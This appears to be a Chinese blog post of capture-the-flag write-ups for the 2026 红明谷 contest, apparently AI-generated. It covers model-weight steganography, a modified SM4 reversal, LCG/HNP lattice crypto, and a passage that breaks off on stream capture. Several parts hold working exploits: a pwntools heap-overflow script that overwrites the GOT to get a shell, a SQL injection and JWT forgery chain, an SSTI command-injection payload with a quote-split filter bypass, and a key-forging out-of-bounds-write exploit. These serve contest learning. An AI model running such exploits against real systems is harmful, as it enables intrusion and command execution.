2026红明谷wp

ljnljn Lv6
  2026-03-26 15:00 2026-03-26 15:00 创建   2026-05-25 22:04:46 2026-05-25 22:04:46 更新      9.2k 字  40 分钟  

欢迎收看ai出题ai做题ai写wp的比赛
最后有51多个队ak了（下面不是我们队只是最后一个ak的）
assets/2026红明谷wp/file-20260326150040730.png
现在手打的比ai慢，差一点的ai比好的慢，弄到底就是烧钱拿排名，这样真的是公平的比赛吗
（看见某个队上题2分多钟就拿到了某靶机题的flag，人打的能有那么快吗）
没啥说的，wp全是ai，品鉴一下

Coordinates

这道 CTF 题目是一道非常典型的隐写术（Steganography）与机器学习模型（模型投毒）结合的题目。我们可以通过下面的步骤来分析出隐藏在模型权重中的 Flag：

1. 寻找“频率异常的常数”

提示中提到“在茫茫的浮点数海洋里发现了一个出现频率异常的‘常数’”。

ResNet50 模型有大约 2500 万个浮点数参数（参数总量极大）。我们将这些 .pth 模型权重文件里的所有张量平铺（Flatten），连接成一个巨大的一维数组形式，并统计每个浮点数出现的频率。

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import torch

print("Loading model...")
data = torch.load('secret.pth', map_location='cpu', weights_only=False)

print("Concatenating tensors...")
tensors = [v.flatten() for v in data.values() if torch.is_tensor(v) and v.is_floating_point()]
all_params = torch.cat(tensors)

print(f"Total params: {all_params.numel()}")

print("Finding unique values...")
vals, counts = torch.unique(all_params, return_counts=True)
top_counts, top_indices = torch.topk(counts, 20)

print("Top 20 most frequent values:")
for count, idx in zip(top_counts, top_indices):
    print(f"Value: {vals[idx].item()} (raw: {vals[idx]}) - Count: {count.item()}")

通过 PyTorch 分析后，我们能找出一个异常高频的浮点数：

0.5201314091682434，它在这 2500 万参数中精确地出现了 145 次。而正常经过训练的模型中，权重是连续分布的，几乎不可能有特定常数出现如此高的频率。因此，0.5201314 就是解题的“钥匙”。

assets/453ef0f5fc8b2b7942e68dcc478f1cfc_MD5.png

2. 解析“坐标系统”

提示暗示这个常数是用来解开“坐标系统”的钥匙。我们提取整个一维数组中该常数所在位置的一维索引（Index），得到了这 145 个位置：

1
[600, 700, 1000, 1100, 1400, 1500, 1700, 1800, 2200, 2300, 2800, 3000, 3100, 3400, 3500, 3600, 3800, 3900, 4000, 4100, 4300, 4400, ...]

除了其中有两个随机噪声恰巧也命中该数值外，其他的索引都表现出了一个极其工整的规律：它们全都是 100 的倍数。这也是所谓的坐标系统：步长为100。

3. 构建二进制字符串与解码

我们将这些索引值全部除以 100，可以得到一个压缩后的一维坐标列表：

[6, 7, 10, 11, 14, 15, 17, 18, 22, 23, 28, 30, 31, 34, 35, 36, ... 308]

这就相当于给出了一个二进制流掩码（bitmask）。在这个最大长度为 309 的二进制字符串里：

  • 列表中存在的坐标，该位置为 1。

  • 列表中不存在的坐标，对应位置为 0。

拼接后我们可以得到这样一串二进制数据：

0000001100110011011000110000101100111011... (总长309)

通常的隐写可能会由于头部填充而存在偏移，我们将此二进制流向右做了一个 5位的偏移（Offset=5） 时，此时数据完全对齐，可以被无缝解析为 标准可读的 ASCII 字符。

对应的提取 Python 脚本如下：

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import torch

# 1. 载入模型提取常量位置
data = torch.load('secret.pth', map_location='cpu', weights_only=False)
tensors = [v.flatten() for v in data.values() if torch.is_tensor(v) and v.is_floating_point()]
all_params = torch.cat(tensors)

magic = 0.5201314091682434
indices = torch.nonzero((all_params - magic).abs() < 1e-6).flatten().tolist()

# 2. 映射坐标并生成二进制串
indices = [i // 100 for i in indices if i % 100 == 0]
s = ''.join(['1' if i in indices else '0' for i in range(max(indices) + 1)])

# 3. 按位偏移 5 并转为 ASCII
offset = 5
bin_str = s[offset:]
chars = [chr(int(bin_str[i:i+8], 2)) for i in range(0, len(bin_str)-7, 8)]

flag = ''.join(chars)
print("Flag:", flag)

成功提取并解码得到Flag：

flag{6b9393b6318a70a56b19c34ded696b5f}

ezSM4

一、初步分析

1.1 字符串分析

使用 IDA Pro 打开 ezSM4.exe，查看字符串，发现以下关键信息：

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12345678abcdefgh    ← 硬编码密钥（16字节）

1.2 程序逻辑

定位 main 函数（0x140001960），逆向分析逻辑如下：

  1. 程序通过 cin 读取用户输入（16字节明文）

  2. 使用硬编码密钥 12345678abcdefgh 进行加密

  3. 将加密结果与硬编码密文进行比较

  4. 若相等则输出 Correct!，否则输出 Wrong!

硬编码密文（小端序排列）：

1
4A 5E 46 35  96 08 E9 30  DA 28 CA A0  22 A6 59 4D

**二、**静态分析

2.1 初始化函数 sub_1400021B0

该函数负责初始化 SM4 的 S 盒（Substitution Box）。分析其存储的 64 个 DWORD 值，将每个有符号 32 位整数按小端序展开为 4 字节，得到完整的 256 字节 S 盒。

验证发现：展开后的 S 盒与标准 SM4 的 S 盒完全一致，并非修改点。

2.2 密钥扩展函数 sub_140002940

分析密钥扩展函数，提取出：

  • FK 参数（标准值）：
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FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]

  • CK 常量（标准 32 个轮常量）：完全符合国标 GM/T 0002-2012

  • L’ 变换（密钥扩展线性变换）：

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L'(B) = B ⊕ (B <<<  13) ⊕ (B <<< 23)

与标准 SM4 完全一致。

2.3 加密函数 sub_140002DF0

分析加密函数（vtable[5]），提取：

  • L 变换（加密线性变换）：
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L(B) = B ⊕ (B <<<  2) ⊕ (B <<< 10) ⊕ (B <<< 18) ⊕ (B <<< 24)

与标准 SM4 完全一致。

  • T 变换：T(A) = L(τ(A))，其中 τ 为 S 盒替换，标准。

  • 轮函数：32 轮 Feistel 结构，标准。

**2.4 关键差异：字节→**DWORD 转换函数 sub_1400011E0

这是发现修改的核心位置。

标准 SM4 将字节数组转换为 32 位字时使用大端序（Big-Endian）：

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// 标准 SM4 大端序
word = (bytes[0] << 24) | (bytes[1] << 16) | (bytes[2] << 8) | bytes[3]
// 对应 Python: struct.unpack('>I', data)

本题修改：字节→DWORD 转换改为小端序（Little-Endian）：

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// 修改后小端序
word = bytes[0] | (bytes[1] << 8) | (bytes[2] << 16) | (bytes[3] << 24)
// 对应 Python: struct.unpack('<I', data)

三、修改点总结
组件 标准 SM4 本题 是否修改

| S 盒（256字节） | 标准值 | 标准值 | 否 |

| FK 系统参数 | 标准值 | 标准值 | 否 |

| CK 轮常量 | 标准值 | 标准值 | 否 |

| L 线性变换 | 标准 | 标准 | 否 |

| L’ 密钥扩展变换 | 标准 | 标准 | 否 |

| 字节→DWORD 字节序 | 大端序 | 小端序 | 是 ✓ |

结论：本题唯一修改点为**字节序——将标准 SM4 的大端序（Big-Endian）改为小端序（Little-Endian）。**

四、解题脚本

exp如下

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import struct

_SBOX_DWORDS = [
    -18247466,   -1220681268, -1038830058,  86833960,
     1989830443, -1023099350,   638796970, -1727625655,
    -196066660,   2056843153,  1124815923,  1655492589,
    -1457736732, -1779955511,   -90906752, -1505783947,
    -56162489,   -1172868109,   423385475, -1471183386,
    -1300141208, -1948621711,  1259334648,   899503728,
     1577985054, -1563338653,   997990949, -2022170367,
     1464205524,  1378341791,  -419285428, -1631009632,
    -762658838,  -1254570176,  -822937693, -1592434183,
    -1537364256,  1427780763,   808620973,  -474903307,
     786626077,   1623877250, -1423758912,  1867404045,
     1161288661,   797900254,  1919614723,  1364946029,
    -1834017907,  2143083963,  1096603921,  -665186273,
    -2010005238, -1115959899,   315651117, -1330321992,
     1251436937,  2121766412,   166836581, -2067370299,
    -327290856,    541973562,  1046474361,  1211747287,
]
SBOX = bytearray()
for d in _SBOX_DWORDS:
    SBOX += struct.pack(chr(60)+"i", d)
assert len(SBOX) == 256
FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]
CK = [
    0x00070E15,0x1C232A31,0x383F464D,0x545B6269,0x70777E85,0x8C939AA1,0xA8AFB6BD,0xC4CBD2D9,
    0xE0E7EEF5,0xFC030A11,0x181F262D,0x343B4249,0x50575E65,0x6C737A81,0x888F969D,0xA4ABB2B9,
    0xC0C7CED5,0xDCE3EAF1,0xF8FF060D,0x141B2229,0x30373E45,0x4C535A61,0x686F767D,0x848B9299,
    0xA0A7AEB5,0xBCC3CAD1,0xD8DFE6ED,0xF4FB0209,0x10171E25,0x2C333A41,0x484F565D,0x646B7279,
]
def rol32(x,n): return ((x<<n)|(x>>(32-n)))&0xFFFFFFFF
def tau(A):
    return SBOX[A&0xFF]|(SBOX[(A>>8)&0xFF]<<8)|(SBOX[(A>>16)&0xFF]<<16)|(SBOX[(A>>24)&0xFF]<<24)
def L(B):       return B^rol32(B,2)^rol32(B,10)^rol32(B,18)^rol32(B,24)
def Lp(B):      return B^rol32(B,13)^rol32(B,23)
def T(A):       return L(tau(A))
def Tp(A):      return Lp(tau(A))
def key_exp(key):
    MK=list(struct.unpack(chr(60)+"4I",key)); K=[MK[i]^FK[i] for i in range(4)]; rk=[]
    for i in range(32):
        tmp=K[(i+1)%4]^K[(i+2)%4]^K[(i+3)%4]^CK[i]; K[i%4]^=Tp(tmp); rk.append(K[i%4])
    return rk
def enc(pt,rk):
    X=list(struct.unpack(chr(60)+"4I",pt))
    for i in range(32): tmp=X[1]^X[2]^X[3]^rk[i]; X[0]^=T(tmp); X.append(X.pop(0))
    return struct.pack(chr(60)+"4I",X[3],X[2],X[1],X[0])
def dec(ct,rk):
    X=list(struct.unpack(chr(60)+"4I",ct))
    for i in range(31,-1,-1): tmp=X[1]^X[2]^X[3]^rk[i]; X[0]^=T(tmp); X.append(X.pop(0))
    return struct.pack(chr(60)+"4I",X[3],X[2],X[1],X[0])
KEY=b"12345678abcdefgh"
CT=bytes([0x4A,0x5E,0x46,0x35,0x96,0x08,0xE9,0x30,0xDA,0x28,0xCA,0xA0,0x22,0xA6,0x59,0x4D])
rk=key_exp(KEY); pt=dec(CT,rk)
print("Ciphertext:",CT.hex())
print("Plaintext :",pt.hex())
try: print("Flag       : flag{"+pt.decode()+"}")
except: print("Raw:",list(pt))
print("Self-test  :","PASS" if enc(pt,rk)==CT else "FAIL")

odd-chat

1. 逆向分析

程序是个基于选单的聊天机器人，含有：1. Chat、2. Change name、3. View chat history、4. Clear chat。

  • 发送聊天 (sub_400D5D)

当发送聊天时，它会使用 malloc(0x20) 分配空间，并将上一个聊天的指针保存在新分配的堆块的 +24 （偏移24字节）处，用作链表以记录聊天历史。

然后提示输入字数长度：v1 = (int)abs32(sub_400A82()) % 24;。v1被作为 unsigned int 传递给读取函数 sub_400AD9。

  • 自定义加密 (sub_4008E7)

读取完成后，内容会被 sub_4009C8 按照长度自动填充并分块传递给 sub_4008E7 进行加密。逆向分析得知，这是一个变形的 XTEA 加密（固定密钥全为 1131796，常量 delta 为 0x9E3779B9，循环了17轮）。

2. 漏洞点 (INT_MIN 绕过与堆溢出)

程序长度限制为 abs(输入) % 24。但在C/C++底层架构中，有符号32位整数的最小负数 -2147483648 (INT_MIN) 在执行 abs() 时，因为发生上溢，产生的结果仍然是 -2147483648。

计算 -2147483648 % 24，结果为 -8。将 -8 转换为读取函数的参数（无符号整型）时，由于发生了符号拓展，它会变成 4294967288。因此我们可以输入超过0x20长度限制的数据，造成严重的堆溢出！

3. 利用思路

因为程序保护开得较少（No PIE，Partial RELRO），GOT表可写且地址固定，结合 glibc-2.27 (附带的 libc.so.6) 我们使用如下策略：

  1. 逆向 XTEA 解密算法：

  2. 我们的覆盖内容在注入后会被二次加密，为了向内存写入我们想要的恶意指针（如GOT表地址），我们需要预先在 Python 代码中实现解密算法，将我们期望的目标指针进行“解密”。这样写入内存后，它被程序一“加密”，刚好变成我们需要的真实地址。

  3. 泄露 libc 地址：

  4. 发送聊天并触发堆溢出，构造载荷刚好将我们自己聊天消息节点中的 +24（下一个历史记录）指针，覆盖为指向 atoi@GOT (0x602060) 的地址。当我们执行 “View chat history” 时，在依次遍历时会读取并打印 atoi@GOT 里存放的真实 libc 地址。

  5. (这里有一个巧妙的点：遍历打印 atoi@GOT 后它会接着读取下一个节点指针 *(atoi@GOT + 24)，即 0x602078 (.data节)，正好这里是全0，它会直接安全停止遍历断开，不会发生段错误崩溃)

  6. Tcache Poisoning (Tcache 中毒)：

  7. 分配多个空块（A, B, C, D…），全部 Clear chat 释放进 tcache bin 0x30中，然后再次请求一个块。利用该块的堆溢出，直接覆盖物理相邻的下一个闲置块的 fd 指针，将其改为 atoi@GOT（也要提前使用XTEA逆向预解密）。

  8. 覆盖 GOT 并 Get Shell：

  9. 接下来连续申请两次，malloc 就会将 atoi@GOT 所在的地址分配给我们。我们在其中填写 system 函数的各种地址（经预解密处理）。这样 atoi@GOT 就会被修改为 system。

  10. 在下一轮菜单选择时，我们在等待输入数字编号的地方直接输入字符串 sh，立刻会被执行为 atoi("sh") -> 即 system("sh") 弹出 shell

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from pwn import *
import struct
import sys

def dec(v2, v3):
    v2 &= 0xffffffff; v3 &= 0xffffffff
    k = 1131796
    v4 = (17 * (-1640465991)) & 0xffffffff
    for i in range(17):
        v3 = (v3 - ((v2 + v4) ^ ((v2 << 4) + k) ^ ((v2 >> 5) + k))) & 0xffffffff
        v4 = (v4 + 1640465991) & 0xffffffff
        v2 = (v2 - ((v3 + v4) ^ ((v3 << 4) + k) ^ ((v3 >> 5) + k))) & 0xffffffff
    return v2, v3

def dec_block(data):
    v2, v3 = struct.unpack("<II", data)
    r2, r3 = dec(v2, v3)
    return struct.pack("<II", r2, r3)

def dec_payload(payload):
    res = b""
    for i in range(0, len(payload), 8):
        res += dec_block(payload[i:i+8])
    return res

context.binary = './attachment'

if len(sys.argv) > 1:
    p = remote(sys.argv[1], int(sys.argv[2]))
else:
    p = process('./attachment')

def chat(length, data):
    p.sendlineafter(b">> ", b"1")
    p.sendlineafter(b"characters do you want to send: ", str(length).encode())
    if length != 0:
        p.sendafter(b"> ", data)
    else:
        p.recvuntil(b"> ")

def clear():
    p.sendlineafter(b">> ", b"4")

p.sendlineafter(b"Please enter your name: ", b"A"*10)


chat(0, b"") 
chat(0, b"") 
chat(0, b"") 
chat(0, b"") 

clear()

puts_got = 0x602060 
payload = b"X" * 24 + p64(puts_got)
chat(-2147483648, dec_payload(payload) + b"\n")

p.sendlineafter(b">> ", b"3") 
p.recvuntil(b"X"*24)
p.recvline()
p.recvuntil(b"> ")
leak = p.recvline().strip()
atoi_addr = u64(leak.ljust(8, b'\x00'))
log.info(f"atoi: {hex(atoi_addr)}")

libc = ELF('./libc.so.6')
libc.address = atoi_addr - libc.sym['atoi']
log.info(f"libc base: {hex(libc.address)}")
log.info(f"system: {hex(libc.sym['system'])}")

payload = b"X" * 32 + p64(0) + p64(0x31) + p64(0x602060) # atoi@got
chat(-2147483648, dec_payload(payload) + b"\n")

chat(0, b"")

payload = p64(libc.sym['system'])
chat(-2147483648, dec_payload(payload) + b"\n")

p.sendlineafter(b">> ", b"sh")
p.interactive()

assets/185a174b7d095678b6d7e3b5db16104f_MD5.png

gopherblog

  1. 信息收集与****逆向分析：

  2. 通过分析所提供的 Go 语言 ELF 可执行文件，提取了其中的内部符号和所有的 HTTP 路由（如 /api/posts/search、/admin 以及各种底层查询语句）。发现使用了基于 fmt.Sprintf 拼接的可疑 SQL 查询模式。

assets/5cf5fef3240b97315037b37069d94e75_MD5.png

  1. SQL 注入 (Format String 注入)：

  2. 应用在 /api/posts/search?q= 路由中存在 SQL 注入漏洞。因为系统通过类似于 %s 的方式对输入进行了拼接，并没有正确防范闭合。构造专门的 UNION 注入语句 q=a%' UNION SELECT 1,name,sql,4,5,6 FROM sqlite_master--，可以成功 Dump 整个 SQLite 库表结构。

      接着查询内部的 settings 表 UNION SELECT 1,key,value...，从中获取到了用于 JWT 签名的密钥：

      jwt_secret = fc79a4f594f7d32dabfe9fde9518bc7091bc0137d7a6a43c

  3. JWT 伪造及权限提升：

  4. 在网站 /register 前台注册并拦截登录后的响应，得到了标准用户的 JWT 格式。随后通过前文获取的密钥，基于 HMAC-SHA256 算法，自己伪造了一份修改了 Claims 的令牌：{"role": "admin", "username": "admin"}，成功夺取了系统 Admin 权限，访问到了 /admin。

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import hmac, hashlib, base64, json;

header = {'alg': 'HS256', 'typ': 'JWT'}
payload = {'exp': 1774577800, 'iat': 1774491300, 'role': 'admin', 'username': 'admin'}

b64ue = lambda x: base64.urlsafe_b64encode(json.dumps(x, separators=(',', ':')).encode()).decode().rstrip('=')
b64u = lambda x: base64.urlsafe_b64encode(x).decode().rstrip('=')

h_p = b64ue(header) + '.' + b64ue(payload)

# Trying first as string secret
sig1 = hmac.new(b'fc79a4f594f7d32dabfe9fde9518bc7091bc0137d7a6a43c', h_p.encode(), hashlib.sha256).digest()
print("str_secret  :", h_p + '.' + b64u(sig1))

# Trying also as hex-decoded secret just in case
import binhex
hw = bytes.fromhex('fc79a4f594f7d32dabfe9fde9518bc7091bc0137d7a6a43c')
sig2 = hmac.new(hw, h_p.encode(), hashlib.sha256).digest()
print("hex_secret  :", h_p + '.' + b64u(sig2))

# Also testing against the testuser token
test_payload = {'exp': 1774577756, 'iat': 1774491356, 'role': 'user', 'username': 'testuser'}
h_p_test = b64ue(header) + '.' + b64ue(test_payload)
sig_test1 = hmac.new(b'fc79a4f594f7d32dabfe9fde9518bc7091bc0137d7a6a43c', h_p_test.encode(), hashlib.sha256).digest()
sig_test2 = hmac.new(hw, h_p_test.encode(), hashlib.sha256).digest()
print("test1       :", h_p_test + '.' + b64u(sig_test1))
print("test2       :", h_p_test + '.' + b64u(sig_test2))
print("real_test   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NzQ1Nzc3NTYsImlhdCI6MTc3NDQ5MTM1Niwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6InRlc3R1c2VyIn0.d931AmOTHojSoPTItlQfZF-ggpfz3FheYhAjv-vQc4Y")

  1. SSTI（服务器端模板注入）引发 RCE：

  2. 在系统的 /admin/newsletter 页面，存在允许自定义的邮件简报模板，并通过 Go 原生的 text/template 引擎进行解析。系统在此处向模板传入了 .Mailer 结构体（main.MailService）。

  3. 利用导出的 Go 方法 Configure 可以重新设置发信人和主机，然后利用 Ping 触发底层基于 nc 的长连接探测。

      通过模板注入：

      {{ .Mailer.Configure "127.0.0.1; c'a't /f'l'ag;" 587 }} {{ .Mailer.Ping }}

      在此执行了经过简单引号绕过 WAF 黑名单（由于 cat, flag 被系统阻止防护）的系统命令。Ping 方法错误地没有处理 host 导致直接把参数传给了 sh -c 的 nc 命令，完成命令执行并在执行反馈中拿到了最终存在的回显中截获 /flag 的真实内容

      flag{7d3a3e8a-5849-429f-8f12-e0db064cb511}

LCG-LHNP

通过阅读生成的 enc.sage，题目可以拆解为两个核心阶段：

  1. 给定一个线性同余生成器（LCG）产生的多个连续输出状态，但隐藏了所有参数（模数 n_n_、乘数 a_a_、增量 b_b_ 以及初始种子），要求反推出初始随机数种子。

  2. 小明用伪随机序列生成了同余方程：ci≡ri⋅x+ei(modp)。这里 x 是未知的秘密值（用于加密Flag），且 ei为一个较小的随机数（长度仅888位，远小于模数 p_p_ 的1024位）。我们需要通过上述方程组求解出 x。这是一个典型的 HNP（隐藏数问题） 模型。

  1. 第一阶段：LCG 参数与随机数种子还原

题目已知一串连续的 LCG 序列状态列表 seeds，记作 S0,S1,S2…Sk。 LCG 生长公式为： Si+1=(a⋅Si+b)(modn)

因为参数全都未知，我们可以通过代数运算逐步消去未知数：

① 消除 b： 对相邻元素作差： Ti=Si+1−Si_T_ Ti≡(a⋅Si+b)−(a⋅Si−1+b)≡a⋅(Si−Si−1)≡a⋅Ti−1(modn)

② 消除 a (寻找模数 n)： 利用上一步的结论，再看连续3个差值 Ti−1,Ti,Ti+1 Ti+1⋅Ti−1≡(a⋅Ti)⋅(a−1⋅Ti)≡Ti2(modn) 所以： Ti+1⋅Ti−1−Ti2≡0(modn)

这意味着 (Ti+1⋅Ti−1−Ti2) 一定是未知模数 n 的倍数。我们可以利用多组状态计算出这个差分结果的绝对值，然后求它们的最大公约数 (GCD)，就可以高概率恢复出 n（再除以一些常见且无用的小素数因子即可）。

③ 恢复 a_a_ 和 b_b_： 已知了 n_n_，则乘数 a=T1⋅T0−1(modn) 增量 b=S1−a⋅S0(modn)

④ 回算初始种子 Sinitial_Sinitial_： 通过逆运算步退一轮，求得种子：Sinitial=(S0−b)⋅a−1(modn)。至此，我们将随机生成器的状态完美还原。

  1. 第二阶段：重建 PRNG，获取 p_p_ 与 ri

既然拿到了 LCG 被隐藏的种子，我们在 Python 中通过 random.Random(seed) 即可初始化对应的随机数生成器。按照加密时的步骤进行相同的伪随机流抽取，就能“未卜先知”地拿到本应该不知情的极大素数 p (1024-bit) 以及 30组随机乘数 ri (1024-bit)。

  1. 第三阶段：利用 LLL 晶格规约求解 HNP

现在我们拥有：方程 ci≡ri⋅x+ei(modp) （其中 ci, ri, p 已知，x 待求，ei 是较小的误差，位长 ∼888∼888 bits）。

我们将公式转换一下：存在整数 ki，使得 ci−ri⋅x−ki⋅p=ei。此处的 ei∈(0,2888) 是正数。 为了最优的 LLL 格规约效果，我们将误差通过平移居中：让 H=2887（即 2888/22888/2 ），那么 (ei−H)就在负到正的紧凑对称区间 [−2887,2887]内。

构建维度为 (N+2)×(N+2) 的基矩阵 M_M_（设方程数量取 N=28 组）：

  1. 设定缩放因子 K=2137（1024−887=137，目的是将 ei放缩到和目标变量长度相同即约 21024 级别）。设定权重边界常量 W=21024。

  2. 矩阵结构如下：

  3. M=[K⋅p0…0000K⋅p…000………………K⋅r0K⋅r1…K⋅rn−110K⋅(c0−H)K⋅(c1−H)…K⋅(cn−1−H)0W]

在进行 LLL 晶格规约 M.lll() 后，原基础向量会被重组优化寻找极短向量。 一定存在某一个线性组合： 1×MN+1+(−x)×MN+∑(−ki)×Mi

此时合并出来的这行向量，它的第 11 到第 N_N_ 列结果刚好是 K⋅(ci−H−ri⋅x−ki⋅p)=K⋅(ei−H)，这是一个非常小的数值；它的第 N+2_N_+2 列结果必定是 ±W±W。 因此，当我们在规约后的矩阵里扫描到最后一列绝对值为 W_W_ 时，倒数第二列的数值的绝对值，或者是带有负号的数值，就是我们要找的未知数 x_x_。再由 x(modp) 提取确切的正整数。

  1. 第四阶段：计算出最终 FLAG

已知 enc 是用 x_x_ 进行了异或操作： flag_int=enc⊕x 最后通过 long_to_bytes 转成 ASCII 字符串即得到 flag。

最终求得的 Flag 为：

flag{6c3b0525-00e5-4436-a1f1-cd9e0c4d7fa4}

Neural-Inference

这道题目是一个典型的混合 Web-to-Pwn（带有自定义协议虚拟机）渗透题目。通过使用 idapromcp 静态分析提供的 C 语言编写的底层执行引擎 engine，我们发现了位于多层防御下的一条完整漏洞链：

漏洞分析

  1. 信息泄露以绕过随机数种子

  2. 执行引擎默认对发送到 UNIX Socket 的命令执行 0xFF 系列高级系统管理指令鉴权。鉴权算法为 verify_admin_token，要求请求方知道一个长达 16 字节的密钥 g_pwn。但通过逆向 derive_admin_key 可知，该 g_pwn 密钥是引擎启动时，使用 g_pid（进程ID）和 g_start_time（启动时间戳）生成的（通过一套 xorshift 取散伪随机再取 AES SBox 做替换）。

  3. 前端 Flask 服务在 /api/status (CMD_STATUS) 接口中未鉴权暴露了这两个状态信息。我们可以用它的 uptime 和当前时间回推出 g_start_time，从而在本地精确重现此伪随机生成器逻辑，完全伪造签名进而绕过鉴权。

  4. VNM自定虚拟机解析漏洞（越界写/RCE）

  5. 当获取了管理权限后，通过下发 sub_cmd = 0x05 可以调用内部诊断例程，实际上该指令会读取我们的用户 Payload 并送入 execute_vnm() 执行。

  6. 这是一个简单的自制堆栈虚拟机。经过分析发现，Opcode 0x07 (STORE_MEM) 指令 的指令格式为 07 <imm8> <reg>。它会将我们在寄存器里的值存储到一个全局 .data 数组偏移中：*(0x94D0 + imm8) = val。由于 imm8 被强制通过 movsx 进行带符号扩展，故偏移值可以为负数！当传入 -128 (0x80) 时，写入的内存地址正好命中 0x9450——此地址正是保存着引擎即将调用的硬编码诊断脚本路径 "/opt/neuralchat/plugins/diag.sh" 的位置！

  7. 通过 VNM 的连续越界写入，我们可以用任意 Bash 脚本替换这个字符串。随着 VNM 以 Halt 指令安全退出后，这句覆写过的字符串紧接着会被原有的 system() 函数执行，达成 RCE 并在 Flask 共享的挂载目录中拉取 flag！

Python 完整漏洞利用脚本 (EXP)

请将此脚本用作最终 Payload 生成并发送的过程，你可以将其命名为 solve.py 然后直接运行。脚本会自动完成“时间推算→计算密钥→组装恶意字节码→执行提权→拉取 Flag”。（前提是容器环境在 127.0.0.1:5000 提供 API 服务，若是远程靶机请修改 URL）。

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import requests
import struct
import json
import time
import hashlib
import base64
import sys

URL = "http://127.0.0.1:5000"

# ELF 中写死的 256 位替换阵列
SBOX = bytes.fromhex("637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16")

def derive_admin_key(g_pid, g_start_time):
    """ 本地逆向还原的 C 语言后端 XorShift+SBOX 密钥派生算法 """
    v4 = ((73244475 * g_pid) & 0xffffffff) ^ ((295559667 * g_start_time) & 0xffffffff)
    a3 = bytearray(16)
    for i in range(16):
        v4 ^= (v4 << 13) & 0xffffffff
        v4 ^= (v4 >> 7)
        v4 ^= (v4 << 17) & 0xffffffff
        a3[i] = SBOX[v4 & 0xff]
        res = (0x9e3779b9 * (i + 1)) & 0xffffffff
        v4 = (v4 + res) & 0xffffffff
    return bytes(a3)

def make_admin_payload(g_pwn, sub_cmd, data=b''):
    """ 模拟验证：SHA256(timestamp || sub_cmd || data || admin_key_16bytes) """
    ts = int(time.time())
    h = hashlib.sha256()
    h.update(struct.pack('<I', ts))
    h.update(bytes([sub_cmd]))
    if data: h.update(data)
    h.update(g_pwn)
    digest = h.digest()
    return struct.pack('<I', ts) + bytes([sub_cmd]) + digest + data

def send_api_raw(command, payload=b''):
    """ 通过 Flask /api/raw 端点封装请求转发至 Engine 的 UNIX Socket """
    raw_data = bytes([command]) + payload
    b64_data = base64.b64encode(raw_data).decode()
    resp = requests.post(f"{URL}/api/raw", json={"data": b64_data})
    if resp.status_code == 200:
        res = base64.b64decode(resp.json()['data'])
        return res[0], res[1:]
    return None, b''

try:
    # 1. 第一步：利用开放的 STATUS 端口偷取时间戳和进程 PID
    st = requests.get(f"{URL}/api/status").json()
except Exception as e:
    print(f"[-] Ensure Flask is running at {URL}")
    sys.exit(1)

g_pid = st['pid']
uptime = st['uptime']
print(f"[*] Leaked PID: {g_pid}, Uptime: {uptime}")

curr_time = int(time.time())
g_start_time_approx = curr_time - uptime
g_pwn = None

# 为了剔除网络延迟带来的偏移，在 -10 至 +10 秒偏差窗口进行爆破
for offset in range(-10, 11):
    test_start = g_start_time_approx + offset
    test_key = derive_admin_key(g_pid, test_start)
    
    # 子命令 1 (info)：测试鉴权是否通过
    payload = make_admin_payload(test_key, 1)
    st_auth, res = send_api_raw(0xFF, payload)
    if st_auth == 0:
        print(f"[+] Found correct start time offset: {offset}")
        print(f"[+] Derived Admin Key (g_pwn): {test_key.hex()}")
        g_pwn = test_key
        break

if not g_pwn:
    print("[-] Failed to find start time / key")
    sys.exit(1)

# 2. 第二步：编写恶意的虚拟状态机代码 (VNM) ，并利用 Opcode 0x07 的越界负偏移进行利用。
# 由于 0x9450 位刚好等于相对偏移 -128。我们将要执行的 bash 把 flag 写到下载目录
cmd = b'cat /home/ctf/flag > /opt/neuralchat/downloads/1.txt\0'
cmd += b'\0' * ((4 - len(cmd) % 4) % 4) # 按照 VM 的寄存器尺寸，32 位对齐补全
vnm_bytecode = b''

# 将 Bash 拆碎使用字节码的寄存器赋值与内存覆盖
for i in range(0, len(cmd), 4):
    chunk = cmd[i:i+4]
    val = struct.unpack('<I', chunk)[0]
    # Opcode 0x02: LDI R0, val (把块载入寄存器 0)
    vnm_bytecode += bytes([0x02, 0x00]) + struct.pack('<I', val) 
    imm = -128 + i
    # Opcode 0x07: STORE R0, imm (通过负向越界将内存覆写在 `0x9450+i` 处)
    vnm_bytecode += bytes([0x07, imm & 0xFF, 0x00]) 

# Opcode 0xFF: HALT (指令正常交出权限, 这会触发系统执行 0x9450 命令区)
vnm_bytecode += b'\xff' 

print(f"[*] Sending bytecode to OOB overwrite `/opt/neuralchat/plugins/diag.sh` ...")
# 提交子命令 5 执行自定义提权指令
payload = make_admin_payload(g_pwn, 5, vnm_bytecode)
st_auth, res = send_api_raw(0xFF, payload)

if st_auth == 0:
    print("[+] VNM Execution Success! Command executed via system()!")
    time.sleep(1) # 等待后端刷新
    
    # 3. 第三步：通过 /api/download 下载出暴露的文件拿取真正的 Flag
    r = requests.get(f"{URL}/api/download?file=1.txt")
    if r.status_code == 200:
        print("\n[+] Flag successfully retrieved:")
        print(r.text.strip())
    else:
        print("[-] Run succeeded but could not download the flag file.")
else:
    print("[-] Execution failed.")

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Stream-Capture

以下是完整的解答和还原过程：

1. 协议识别

通过对 PCAP 分析，观察到 TCP 端口 47984、48010 的控制交互，以及大量 UDP 47998 的持续传输，可以确认这是 Moonlight / NVIDIA GameStream 串流协议的流量。其中 UDP 47998 承载了核心的视频流（Video Stream）。

2. 为什么画面会被“遮挡”？（花屏原因）

如果你使用 Wireshark 直接 “Follow UDP Stream” 导出 Payload，或者直接用 ffmpeg 强转原始二进制文件提取视频，ffmpeg 会尝试暴力搜索 H.264 视频流特征码（00 00 00 01）并强行解码。

